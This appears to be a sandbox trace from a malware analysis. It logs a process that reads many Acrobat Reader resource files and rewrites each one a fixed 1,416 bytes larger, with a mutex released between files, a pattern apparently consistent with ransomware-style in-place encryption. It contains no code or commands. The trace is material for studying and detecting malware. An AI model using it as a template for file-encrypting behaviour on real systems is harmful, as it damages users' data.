File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\editpdf\js\nls\fr-ma\ui-strings.js, size = 1245, size_out = 1245	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\editpdf\js\nls\fr-ma\ui-strings.js, size = 2661	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\editpdf\js\nls\ro-ro\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\editpdf\js\nls\ro-ro\ui-strings.js, size = 1294, size_out = 1294	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\editpdf\js\nls\ro-ro\ui-strings.js, size = 2710	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\editpdf\js\nls\zh-tw\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\editpdf\js\nls\zh-tw\ui-strings.js, size = 1260, size_out = 1260	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\editpdf\js\nls\zh-tw\ui-strings.js, size = 2676	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\images\rhp_world_icon.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\images\rhp_world_icon.png, size = 445, size_out = 445	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\images\rhp_world_icon.png, size = 1861	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\js\nls\ca-es\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\js\nls\ca-es\ui-strings.js, size = 1187, size_out = 1187	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\js\nls\ca-es\ui-strings.js, size = 2603	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\js\nls\fr-ma\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\js\nls\fr-ma\ui-strings.js, size = 1151, size_out = 1151	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\js\nls\fr-ma\ui-strings.js, size = 2567	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\js\nls\ro-ro\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\js\nls\ro-ro\ui-strings.js, size = 1189, size_out = 1189	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\js\nls\ro-ro\ui-strings.js, size = 2605	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\js\nls\zh-tw\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\js\nls\zh-tw\ui-strings.js, size = 1161, size_out = 1161	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\editpdf\js\nls\nl-nl\ui-strings.js, size = 2577	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\img\faf_field_grabber.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\img\faf_field_grabber.png, size = 192, size_out = 192	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\img\faf_field_grabber.png, size = 1608	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\img\themes\dark\faf_field_grabber.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\img\themes\dark\faf_field_grabber.png, size = 192, size_out = 192	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\img\themes\dark\faf_field_grabber.png, size = 1608	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\img\tools\@1x\A12_Line_White@1x.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\img\tools\@1x\A12_Line_White@1x.png, size = 162, size_out = 162	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\img\tools\@1x\A12_Line_White@1x.png, size = 1578	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\img\tools\@1x\themes\dark\A12_Line_White@1x.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\img\tools\@1x\themes\dark\A12_Line_White@1x.png, size = 162, size_out = 162	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\img\tools\@1x\themes\dark\A12_Line_White@1x.png, size = 1578	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\img\tools\dot_2x.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\img\tools\dot_2x.png, size = 952, size_out = 952	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\img\tools\dot_2x.png, size = 2368	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\img\tools\themes\dark\dot_2x.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\img\tools\themes\dark\dot_2x.png, size = 952, size_out = 952	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\img\tools\themes\dark\dot_2x.png, size = 2368	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\js\nls\ca-es\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\js\nls\ca-es\ui-strings.js, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\js\nls\ca-es\ui-strings.js, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\js\nls\ca-es\ui-strings.js, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\js\nls\hu-hu\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\js\nls\hu-hu\ui-strings.js, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\js\nls\hu-hu\ui-strings.js, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\js\nls\hu-hu\ui-strings.js, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\js\nls\ru-ru\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\js\nls\ru-ru\ui-strings.js, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\js\nls\ru-ru\ui-strings.js, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\js\nls\ru-ru\ui-strings.js, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\generic-rhp-app\css\main.css, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\generic-rhp-app\css\main.css, size = 4651, size_out = 4651	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\generic-rhp-app\css\main.css, size = 6067	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\generic-rhp-app\images\themes\dark\rhp_world_icon_2x.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\generic-rhp-app\images\themes\dark\rhp_world_icon_2x.png, size = 552, size_out = 552	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\generic-rhp-app\images\themes\dark\rhp_world_icon_2x.png, size = 1968	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\home\images\files_icons.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\home\images\files_icons.png, size = 389, size_out = 389	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\home\images\files_icons.png, size = 1805	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\home\images\themes\dark\icons_ie8.gif, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\home\images\themes\dark\icons_ie8.gif, size = 8151, size_out = 8151	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\home\images\themes\dark\icons_ie8.gif, size = 9567	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\home\js\nls\it-it\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\home\js\nls\it-it\ui-strings.js, size = 918, size_out = 918	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\home\js\nls\it-it\ui-strings.js, size = 2334	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\css\main-selector.css, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\css\main-selector.css, size = 802, size_out = 802	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\css\main-selector.css, size = 2218	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\images\new_icons.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\images\new_icons.png, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\images\new_icons.png, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\images\new_icons.png, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\images\themes\dark\new_icons.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\images\themes\dark\new_icons.png, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\images\themes\dark\new_icons.png, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\images\themes\dark\new_icons.png, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\js\nls\es-es\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\js\nls\es-es\ui-strings.js, size = 1383, size_out = 1383	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\js\nls\es-es\ui-strings.js, size = 2799	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\js\nls\ko-kr\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\js\nls\ko-kr\ui-strings.js, size = 1392, size_out = 1392	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\js\nls\ko-kr\ui-strings.js, size = 2808	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\js\nls\sl-sl\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\js\nls\sl-sl\ui-strings.js, size = 1240, size_out = 1240	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\js\nls\sl-sl\ui-strings.js, size = 2656	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer-select\css\main.css, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer-select\css\main.css, size = 4523, size_out = 4523	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer-select\css\main.css, size = 5939	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer-select\js\nls\fi-fi\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer-select\js\nls\fi-fi\ui-strings.js, size = 855, size_out = 855	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer-select\js\nls\fi-fi\ui-strings.js, size = 2271	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer-select\js\nls\pl-pl\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer-select\js\nls\pl-pl\ui-strings.js, size = 849, size_out = 849	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer-select\js\nls\pl-pl\ui-strings.js, size = 2265	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer-select\js\nls\uk-ua\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer-select\js\nls\uk-ua\ui-strings.js, size = 867, size_out = 867	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer-select\js\nls\uk-ua\ui-strings.js, size = 2283	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\images\icons_ie8.gif, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\images\icons_ie8.gif, size = 8151, size_out = 8151	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\images\icons_ie8.gif, size = 9567	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\images\themes\dark\icons_retina.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\images\themes\dark\icons_retina.png, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\images\themes\dark\icons_retina.png, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\images\themes\dark\icons_retina.png, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\js\nls\en-gb\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\js\nls\en-gb\ui-strings.js, size = 893, size_out = 893	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\js\nls\en-gb\ui-strings.js, size = 2309	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\js\nls\ja-jp\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\js\nls\ja-jp\ui-strings.js, size = 1094, size_out = 1094	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\js\nls\ja-jp\ui-strings.js, size = 2510	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\js\nls\sl-si\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\js\nls\sl-si\ui-strings.js, size = 1059, size_out = 1059	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\js\nls\sl-si\ui-strings.js, size = 2475	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-recent-files\js\nls\ca-es\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-recent-files\js\nls\ca-es\ui-strings.js, size = 1064, size_out = 1064	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-recent-files\js\nls\ca-es\ui-strings.js, size = 2480	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-recent-files\js\nls\fr-ma\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-recent-files\js\nls\fr-ma\ui-strings.js, size = 1007, size_out = 1007	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-recent-files\js\nls\fr-ma\ui-strings.js, size = 2423	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-recent-files\js\nls\ro-ro\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-recent-files\js\nls\ro-ro\ui-strings.js, size = 1033, size_out = 1033	1	Fn Data
